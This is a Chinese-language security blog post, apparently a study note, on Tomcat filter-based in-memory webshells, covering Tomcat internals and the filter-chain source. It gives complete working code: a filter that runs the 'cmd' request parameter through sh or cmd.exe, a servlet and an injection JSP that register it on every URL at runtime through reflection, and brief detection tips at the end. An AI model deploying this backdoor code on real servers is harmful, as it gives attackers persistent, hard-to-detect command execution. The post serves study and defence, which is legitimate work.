目录

  1. 1. 前言
  2. 2. 环境搭建
  3. 3. Servlet、Filter、Listener
  4. 4. Tomcat架构
    1. 4.1. Connector
    2. 4.2. Container(Catalina)
    3. 4.3. 类加载机制
    4. 4.4. Context
      1. 4.4.1. ServletContext
      2. 4.4.2. ApplicationContext
      3. 4.4.3. StandardContext
  5. 5. Filter 内存马
    1. 5.1. 搭建
    2. 5.2. 流程分析
      1. 5.2.1. 访问 /filter 后
      2. 5.2.2. 访问 /filter 前
      3. 5.2.3. 总结
    3. 5.3. 攻击
      1. 5.3.1. 分析
      2. 5.3.2. 构造恶意 filter
      3. 5.3.3. 动态添加 filter
        1. 5.3.3.1. 获取 StandardContext
        2. 5.3.3.2. 恶意filter对象
        3. 5.3.3.3. 设置 FilterDef 和 FilterMaps
        4. 5.3.3.4. 添加到 FilterConfig 并放到 web.xml
        5. 5.3.3.5. 完整exp
    4. 5.4. 实战写入
      1. 5.4.1. 文件上传jsp
      2. 5.4.2. 反序列化打内存马
  6. 6. 内存马排查

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

Tomcat内存马

2025/4/18 Web 内存马 Tomcat
  |     |   总文章阅读量:

前言

参考:

drunkbaby 的 内存马系列


环境搭建

起项目模块

image-20250525115539009

image-20250525115614364

maven 配置

<dependency>  
    <groupId>org.apache.tomcat</groupId>  
    <artifactId>tomcat-catalina</artifactId>  
    <version>8.5.98</version>  
</dependency>  
<dependency>  
    <groupId>org.apache.tomcat.embed</groupId>  
    <artifactId>tomcat-embed-el</artifactId>  
    <version>8.5.98</version>
</dependency>

Servlet、Filter、Listener

此事在 JavaWeb基础 里亦有记载


Tomcat架构

image-20250525123006628

  • Server:一个 Tomcat 只有一个 Server,Server 中包含至少一个 Service 组件,用于提供具体服务
  • Service:主要是为了关联 Connector 和 Container,同时会初始化下面的其它组件
  • Connector:主要负责对外交流,进行 Socket 通信(基于 TCP/IP),解析 HTTP 报文,对应 http 服务器
  • Container:主要处理 Connector 接受的请求,主要是处理内部事务,加载和管理 Servlet,由 Servlet 具体负责处理 Request 请求,对应 servlet 容器

image-20250525123239488

Connector

三个组件:

  • EndPoint:负责网络通信,将字节流传递给 Processor;
  • Processor:负责处理字节流生成 Tomcat Request 对象,将 Tomcat Request 对象传递给 Adapter;
  • Adapter:负责将 Tomcat Request 对象转化成 ServletRequest 对象,传递给容器。

image-20250525123954221

Container(Catalina)

四种容器,是父子关系:

  • Engine:最顶层容器组件,可以包含多个 Host。实现类为 org.apache.catalina.core.StandardEngine
  • Host:代表一个虚拟主机,每个虚拟主机和某个域名 Domain Name 相匹配,可以包含多个 Context。实现类为 org.apache.catalina.core.StandardHost
  • Context:一个 Context 对应于一个 Web 应用,可以包含多个 Wrapper。实现类为 org.apache.catalina.core.StandardContext
  • Wrapper:一个 Wrapper 对应一个 Servlet。负责管理 Servlet ,包括 Servlet 的装载、初始化、执行以及资源回收。实现类为 org.apache.catalina.core.StandardWrapper

image-20250525124233480

每一个 Context 都有唯一的 path。这里的 path 不是指 servlet 绑定的 WebServlet 地址,而是指独立的一个 Web 应用地址。

就好比 Tomcat 默认的 / 地址和 /manager 地址就是两个不同的 web 应用:/ 地址下还会有我们创建的 servlet 服务,假设 WebServlet 地址分别是 /demo1 和 /demo2,那么它们的 Context 都是 / ,但访问地址不一样所以 Wrapper 不一样;而 /manager 访问的 Web 应用是 Tomcat 默认的管理页面,是另外一个独立的 web 应用,所以是不同的 Context


类加载机制

Tomcat 自定义的类加载器 WebAppClassloader 为了确保隔离多个 WebApp 之间相互隔离,所以打破了双亲委派机制。每个 WebApp 用一个独有的 ClassLoader 实例来优先处理加载。它首先尝试自己加载某个类,如果找不到再交给父类加载器(和双亲委派机制相反),其目的是优先加载 WEB 应用自己定义的类。

同时为了防止 WEB 应用自己的类覆盖 JRE 的核心类,在本地 WEB 应用目录下查找之前,先使用 ExtClassLoader(使用双亲委托机制)去加载


Context

上下文

在WEB请求中,在一次 request 请求发生时,Context 会记录当时的情形:当前 WEB 容器中有几个 filter,有什么 servlet,有什么 listener,请求的参数,请求的路径,有没有什么全局的参数等等

image-20250525164637119

ServletContext

ServletContext 是 Servlet 规范中规定的 ServletContext 接口,一般 Servlet 都要实现这个接口。

image-20250525163606156

大概就是规定了如果要实现一个 WEB 容器,他的 Context 里面要有这些东西:获取路径,获取参数,获取当前的filter,获取当前的 servlet 等

ctrl + alt + b 查看这个接口实现的所有类

image-20250526012334176


ApplicationContext

这个类使用 Facade 进行了一层包装

image-20250525163950204

可以看到 ApplicationContext 实现了 ServletContext 规范定义的一些方法,包括 addServlet , addFilter 等

StandardContext

org.apache.catalina.core.StandardContext是子容器Context的标准实现类,其中包含了对 Context 子容器中资源的各种操作

四种子容器都有其对应的标准实现如下

image-20250525164549408

而在 ApplicationContext 类中,对资源的各种操作实际上是调用了 StandardContext 中的方法

其中的 context 是 StandardContext 对象

image-20250525164302654


Filter 内存马

搭建

自定义 filter

package com.example.memshellenv;

import javax.servlet.*;
import java.io.IOException;

public class filter implements Filter{
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("Filter 初始构造完成");
    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("执行了过滤操作");
        filterChain.doFilter(servletRequest,servletResponse);
    }

    @Override
    public void destroy() {

    }
}

web.xml,这里设置 url-pattern 为 /filter 即访问 /filter 才会触发

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
    <filter>
        <filter-name>filter</filter-name>
        <filter-class>com.example.memshellenv.filter</filter-class>
    </filter>
    <filter-mapping>
        <filter-name>filter</filter-name>
        <url-pattern>/filter</url-pattern>
    </filter-mapping>
</web-app>

配置部署的应用程序上下文为空

image-20250525165549290

构建完成后访问 /filter

image-20250525165619918

成功触发 filter

流程分析

访问 /filter 后

filterChain.doFilter 处下断点,访问 /filter 进行调试

此时已经新建了一个 filter,跟进 doFilter

image-20250525171927380

这里进到 ApplicationFilterChain,Globals.IS_SECURITY_ENABLED 判断全局安全服务是否开启

f8 直接跳到判断结尾

image-20250525172031153

跟进

image-20250525172158773

filters 的定义:

private ApplicationFilterConfig[] filters = new ApplicationFilterConfig[0];

观察这里的 filters,可以看到有两个 filter:索引 0 是我们定义的 filter,索引 1 是 tomcat 自带的 filter

因为此时 pos 是 1 所以取到 tomcat 的 filter

继续跟下去到调用 tomcat 的 doFilter

image-20250525172931698

跟进这个 wsFilter 的 doFilter

image-20250525173528038

这里会进 chain.doFilter,注意到这里的 chain 是 ApplicationFilterConfig 对象,里面也有同样的 filters

那么再跟进就会回到同样的地方,但是此时 pos 为 2,进不去有 filterConfig 的判断分支了

image-20250525174042854

这是因为我们是一条 Filter 链,所以会一个个获取 Filter,每次获取都会使 pos+1,直到最后一个

那么现在我们只定义了一个 Filter,所以现在这次循环获取 Filter 链就是最后一次

在最后一次获取 Filter 链的时候,会走到 this.servlet.service(request, response); 这个地方

后面就是输出响应的部分了

结论: Filter Chain 的调用结构是一个个 doFilter() 的,最后一个 Filter 会调用 Servlet.service()

image-20250525174716515


访问 /filter 前

因为我们需要基于 filter 实现一个内存马,所以我们需要找到 filter 是怎么被创建的

这里下断点可以从调用栈下手,从上面的 doFilter 往前找,这里直接取最下面的 invoke 方法

image-20250525175141655

此时的类是 StandardEngineValve,也就是最顶层的容器组件,从调用栈可知 invoke 的流程,如图:

image-20250525175724161

直接看 doFilter 前最后一个 invoke 方法,也就是 wrapper 部分的

image-20250525180446212

看一下 filterChain 的定义:

ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);

断点下在这里的 createFilterChain 上,跟进

image-20250525181726477

直接跟进到 filterMaps 这里image-20250525181922990

可以看到 filterMaps 的内容就是我们在 web.xml 配置的

继续往下看

image-20250525183102591

遍历StandardContext.filterMaps得到 filter 与 URL 的映射关系并通过matchDispatcher()matchFilterURL()方法进行匹配

匹配成功后,还需判断StandardContext.filterConfigs中,是否存在对应filter的实例,当实例不为空时通过addFilter方法,将管理 filter 实例的filterConfig添加入filterChain对象中

image-20250525183441834

最终返回 filterChain 对象,再进行 doFilter

image-20250525183924046

此次 filterChain.doFilter 会实现对 com.example.memshellenv.filter 的调用

后面就是在访问 /filter 之后的流程分析

总结

  • 层层调用 invoke,在最后一个 pipeline 的地方会创建一个 FilterChain,再对里头的 filter 进行一些相关的匹配
  • FilterChain 进行 doFilter() ,将请求交给对应的 pipeline 去处理,也就是进行一个 doFilter() -> internalDoFilter() -> doFilter();直到最后一个 filter 被调用
  • 最后一个 filter 会执行完 doFilter() 操作,随后会跳转到 Servlet.service()

那么攻击的思路就是在 filterChain.addFilter(filterConfig); 这里,需要控制 filterConfig

ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName());

image-20250525185240591

我们只需要构造含有恶意的 filter 的 filterConfig 和拦截器 filterMaps,就可以达到触发目的了,并且它们都是从 StandardContext 中来的。


攻击

分析

我们要思考如何修改 filterMaps ,也就是如何修改 web.xml 中的 filter-mapping 标签

filterMaps 可以通过如下两个方法添加数据,对应的类是 StandardContext 这个类:

@Override
public void addFilterMap(FilterMap filterMap) {
    validateFilterMap(filterMap);
    // Add this filter mapping to our registered set
    filterMaps.add(filterMap);
    fireContainerEvent("addFilterMap", filterMap);
}

@Override
public void addFilterMapBefore(FilterMap filterMap) {
    validateFilterMap(filterMap);
    // Add this filter mapping to our registered set
    filterMaps.addBefore(filterMap);
    fireContainerEvent("addFilterMap", filterMap);
}

StandardContext 这个类是一个容器类,它负责存储整个 Web 应用程序的数据和对象,并加载了 web.xml 中配置的多个 Servlet、Filter 对象以及它们的映射关系。

里面有三个和 Filter 有关的成员变量:

private final ContextFilterMaps filterMaps = new ContextFilterMaps();	// 包含所有过滤器的URL映射关系
@Override
public void addFilterMap(FilterMap filterMap) {
    validateFilterMap(filterMap);
    // Add this filter mapping to our registered set
    filterMaps.add(filterMap);
    fireContainerEvent("addFilterMap", filterMap);
}


private HashMap<String,FilterDef> filterDefs = new HashMap<>();	// 包含所有过滤器包括实例内部等变量
@Override
public void addFilterDef(FilterDef filterDef) {
    synchronized (filterDefs) {
        filterDefs.put(filterDef.getFilterName(), filterDef);
    }
    fireContainerEvent("addFilterDef", filterDef);
}


private HashMap<String,ApplicationFilterConfig> filterConfigs = new HashMap<>();	// 包含所有与过滤器对应的filterDef信息及过滤器实例,进行过滤器进行管理
filterConfigs.put(name, filterConfig);
  • filterMaps 中的FilterMap记录了不同 filter 与UrlPattern的映射关系
  • filterDefs 成员变量存储了 filter 名称与相应FilterDef的对象的键值对,而FilterDef对象则存储了 Filter 包括名称、描述、类名、Filter 实例在内等与 filter 自身相关的数据
  • filterConfigs 成员变量存储了 filter 名称与对应的ApplicationFilterConfig对象的键值对,在ApplicationFilterConfig对象中则存储了 Filter 实例以及该实例在 web.xml 中的注册信息

现在看一下 ApplicationFilterConfig 对象的内容

image-20250525202907082

  • filterDef:对应 web.xml 中的 filter 标签

    <filter>  
     <filter-name>com.example.memshellenv.filter</filter-name>  
     <filter-class>filter</filter-class>  
    </filter>

而 filterConfig 与 filterDef 之间通过 org.apache.catalina.core.StandardContext#filterStart 关联起来

public boolean filterStart() {

    if (getLogger().isDebugEnabled()) {
        getLogger().debug("Starting filters");
    }
    // Instantiate and record a FilterConfig for each defined filter
    boolean ok = true;
    synchronized (filterDefs) {
        filterConfigs.clear();
        for (Entry<String,FilterDef> entry : filterDefs.entrySet()) {
            String name = entry.getKey();
            if (getLogger().isDebugEnabled()) {
                getLogger().debug(" Starting filter '" + name + "'");
            }
            try {
                ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, entry.getValue());
                filterConfigs.put(name, filterConfig);
            } catch (Throwable t) {
                t = ExceptionUtils.unwrapInvocationTargetException(t);
                ExceptionUtils.handleThrowable(t);
                getLogger().error(sm.getString("standardContext.filterStart", name), t);
                ok = false;
            }
        }
    }

    return ok;
}

通过 String name = entry.getKey(); filterConfigs.put(name, filterConfig);,实现 filterConfig 的添加

构造的主要思路如下:

  1. 获取当前应用的 ServletContext 对象
  2. 通过 ServletContext 对象再获取 filterConfigs
  3. 接着实现自定义想要注入的 filter 对象
  4. 然后为自定义对象的 filter 创建一个 FilterDef
  5. 最后把 ServletContext 对象、filter 对象、FilterDef 全部都设置到 filterConfigs 即可完成内存马的实现

构造恶意 filter

先依据常规的 jsp 马,在 filter 里构造同样效果的马

package com.example.memshellenv;
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;


public class EvilFilter implements Filter {
    public void init(FilterConfig config) throws ServletException {
    }

    public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws ServletException, IOException {
        if (req.getParameter("cmd") != null) {
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\A");
            String output = s.hasNext() ? s.next() : "";
            resp.getWriter().write(output);
            resp.getWriter().flush();
            return;
        }
        chain.doFilter(req, resp);
    }

    public void destroy() {
    }
}

配置 web.xml

<filter>
    <filter-name>evilfilter</filter-name>
    <filter-class>com.example.memshellenv.EvilFilter</filter-class>
</filter>
<filter-mapping>
    <filter-name>evilfilter</filter-name>
    <url-pattern>/evil</url-pattern>
</filter-mapping>

image-20250525212417006


动态添加 filter

由前面Filter实例存储分析得知 StandardContext Filter 实例存放在 filterConfigs、filterDefs 、filterConfigs 这三个变量里面,将 filter 添加到这三个变量中即可将内存马打入。那么如何获取到 StandardContext 成为了问题的关键

流程图:

image-20250525212551107

获取 StandardContext

直接获取的话会报500:

WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardRoot standardroot = (StandardRoot) webappClassLoaderBase.getResources();  
StandardContext standardContext = (StandardContext) standardroot.getContext();

按照上面 Context 的关系,我们需要先获取 ServletContext

跟踪一下返回 getServletContext 的方法

image-20250526004555097

image-20250526004742583

可以直接用 HttpServletRequest 对象调用 getSession 来调用 getServletContext

然后通过反射 context 来获取 ApplicationContext 对象,再反射 context 得到 StandardContext 对象

ServletContext servletContext = request.getSession().getServletContext();
try {
    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
} catch (Exception e) {
    throw new RuntimeException(e);
}

恶意filter对象

完成三步操作 init,doFilter,destory

Filter filter = new Filter() {
    @Override
    public void init(FilterConfig config) throws ServletException {
    }

    @Override
    public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws ServletException, IOException {
        if (req.getParameter("cmd") != null) {
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\A");
            String output = s.hasNext() ? s.next() : "";
            resp.getWriter().write(output);
            resp.getWriter().flush();
            return;
        }
        chain.doFilter(req, resp);
    }
    @Override
    public void destroy() {
    }
};

设置 FilterDef 和 FilterMaps

先看一下 FilterDef 的变量,跟到 FilterDef 类后 alt + 7 查看结构

image-20250526014510341

同样的操作查看 FilterMap

image-20250526014824922

于是利用反射往 standardContext 添加 FilterDef 和 FilterMap

//反射获取 FilterDef,设置 filter 名等参数后,调用 addFilterDef 将 FilterDef 添加  
Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");  
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();  
FilterDef o = (FilterDef) declaredConstructors.newInstance();  
o.setFilter(filter);  
o.setFilterName(FilterName);  
o.setFilterClass(filter.getClass().getName());  
standardContext.addFilterDef(o);

//反射获取 FilterMap 并且设置拦截路径,并调用 addFilterMapBefore 将 FilterMap 添加进去  
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");  
Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();  
org.apache.tomcat.util.descriptor.web.FilterMap o1 = (FilterMap)declaredConstructor.newInstance();  
o1.addURLPattern("/*");  
o1.setFilterName(FilterName);  
o1.setDispatcher(DispatcherType.REQUEST.name());  
standardContext.addFilterMapBefore(o1);

添加到 FilterConfig 并放到 web.xml

Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");  
Configs.setAccessible(true);  
Map filterConfigs = (Map) Configs.get(standardContext);

Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");  
Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);  
declaredConstructor1.setAccessible(true);  
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);

filterConfigs.put(FilterName,filterConfig);  
response.getWriter().write("Success");

完整exp

package com.example.memshellenv;

import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Map;
import java.util.Scanner;


@WebServlet("/test")
public class FilterShell extends HttpServlet {
    public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException {
        String FilterName = "cmd_Filter";
        ServletContext servletContext = request.getSession().getServletContext();
        try {
            Field appctx = servletContext.getClass().getDeclaredField("context");
            appctx.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
            Field stdctx = applicationContext.getClass().getDeclaredField("context");
            stdctx.setAccessible(true);
            StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);


            Filter filter = new Filter() {
                @Override
                public void init(FilterConfig config) throws ServletException {
                }

                @Override
                public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws ServletException, IOException {
                    if (req.getParameter("cmd") != null) {
                        boolean isLinux = true;
                        String osTyp = System.getProperty("os.name");
                        if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                            isLinux = false;
                        }
                        String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
                        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                        Scanner s = new Scanner(in).useDelimiter("\\A");
                        String output = s.hasNext() ? s.next() : "";
                        resp.getWriter().write(output);
                        resp.getWriter().flush();
                        return;
                    }
                    chain.doFilter(req, resp);
                }
                @Override
                public void destroy() {
                }
            };


            //反射获取 FilterDef,设置 filter 名等参数后,调用 addFilterDef 将 FilterDef 添加
            Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
            Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
            FilterDef o = (FilterDef) declaredConstructors.newInstance();
            o.setFilter(filter);
            o.setFilterName(FilterName);
            o.setFilterClass(filter.getClass().getName());
            standardContext.addFilterDef(o);

            //反射获取 FilterMap 并且设置拦截路径,并调用 addFilterMapBefore 将 FilterMap 添加进去
            Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
            Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
            org.apache.tomcat.util.descriptor.web.FilterMap o1 = (FilterMap)declaredConstructor.newInstance();
            o1.addURLPattern("/*");
            o1.setFilterName(FilterName);
            o1.setDispatcher(DispatcherType.REQUEST.name());
            standardContext.addFilterMapBefore(o1);


            Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            Map filterConfigs = (Map) Configs.get(standardContext);

            //反射获取 ApplicationFilterConfig,构造方法将 FilterDef 传入后获取 filterConfig 后,将设置好的 filterConfig 添加进去
            Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
            Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
            declaredConstructor1.setAccessible(true);
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);

            filterConfigs.put(FilterName,filterConfig);
            response.getWriter().write("Success");
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }
    
    public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        this.doPost(request, response);
    }
}

image-20250526020504237


实战写入

文件上传jsp

但我寻思能传 jsp 了也就能传常规 shell 了,实用性不是特别大

<%--
  User: Drunkbaby
  Date: 2022/8/27
  Time: 上午10:31
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>

<%
    final String name = "0w0";
    // 获取上下文
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);

    if (filterConfigs.get(name) == null){
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null) {
                    boolean isLinux = true;
                    String osTyp = System.getProperty("os.name");
                    if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                        isLinux = false;
                    }
                    String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};
                    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                    Scanner s = new Scanner( in ).useDelimiter("\\a");
                    String output = s.hasNext() ? s.next() : "";
                    servletResponse.getWriter().write(output);
                    servletResponse.getWriter().flush();
                    return;
                }
                filterChain.doFilter(servletRequest, servletResponse);
            }

            @Override
            public void destroy() {

            }

        };

        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        standardContext.addFilterDef(filterDef);

        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());

        standardContext.addFilterMapBefore(filterMap);

        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

        filterConfigs.put(name, filterConfig);
        out.print("Inject Success !");
    }
%>
<html>
<head>
    <title>filter</title>
</head>
<body>
    Hello Filter
</body>
</html>

反序列化打内存马

https://drun1baby.top/2022/11/29/Java-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%89%93%E5%86%85%E5%AD%98%E9%A9%AC/


内存马排查

利用 java agent 技术遍历所有已经加载到内存中的 class

工具:

https://github.com/alibaba/arthas

https://github.com/LandGrey/copagent

https://github.com/c0ny1/java-memshell-scanner

识别内存马:

  • filter 名字特别
  • shiro 环境下 filter 优先级是第一位
  • 对比 web.xml 没有 filter 配置:但 servlet 3.0引入了 @WebFilter 标,不用在 web.xml 里显式声明
  • 特殊的 classLoader 加载:反序列化常见的 class,如 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoadercom.sun.org.apache.bcel.internal.util.ClassLoader
  • 对应的 classloader 路径下没有 class 文件

查杀内存马:

  • 清除 filter 中的恶意代码

  • 模拟中间件注销 filter